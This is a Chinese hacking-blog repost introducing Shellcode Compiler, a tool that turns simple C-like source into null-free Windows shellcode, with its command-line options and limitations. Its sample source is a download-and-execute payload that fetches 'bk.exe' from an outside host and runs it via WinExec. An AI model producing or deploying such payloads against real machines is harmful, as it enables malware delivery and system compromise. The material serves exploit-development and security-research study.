记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Shellcode Compiler:一款易用的 Shellcode 编译工具

2016-12-06 23:40

项目主页

https://github.com/NytroRST/ShellcodeCompiler

简介

Shellcode Compiler 是一款能将 C/C++ 代码编译成体积小,位置无关和无 NULL 字节的 Windows shellcode 的工具。它能以用户友好的方式调用任何 Windows API 函数。

Shellcode Compiler 将输入的源文件用自己的编译器来解释代码,并生成一个由 NASM(http://www.nasm.us/)汇编生成的汇编文件。

Shellcode Compiler 与 2016 年 11 月在罗马尼亚的 DefCamp 安全会议上发布。

使用

shellcode

命令行示例

-h (--help) : Show this help message
 -v (--verbose) : Print detailed output
 -t (--test) : Test (execute) generated shellcode
 -r (--read) : Read source code file
 -o (--output) : Output file of the generated binary shellcode
 -a (--assembbly) : Output file of the generated assembly code

源码示例

function URLDownloadToFileA("urlmon.dll");
 function WinExec("kernel32.dll");
 function ExitProcess("kernel32.dll");

URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
 WinExec("bk.exe",0);
 ExitProcess(0);

调用示例

ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm

一些限制

  • 不能使用调用 API 的返回值
  • 不能使用指针或缓冲区
  • 不能声明变量

更多使用请参考PPT:https://github.com/NytroRST/ShellcodeCompiler/blob/master/Slides.pptx

未经允许不得转载: » Shellcode Compiler:一款易用的 Shellcode 编译工具

知识来源: www.mottoin.com/93192.html

阅读:128520 | 评论:0 | 标签:工具 shellcode Shellcode Compiler Shellcode编译

想收藏或者和大家分享这篇好文章→复制链接地址

“Shellcode Compiler:一款易用的 Shellcode 编译工具”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词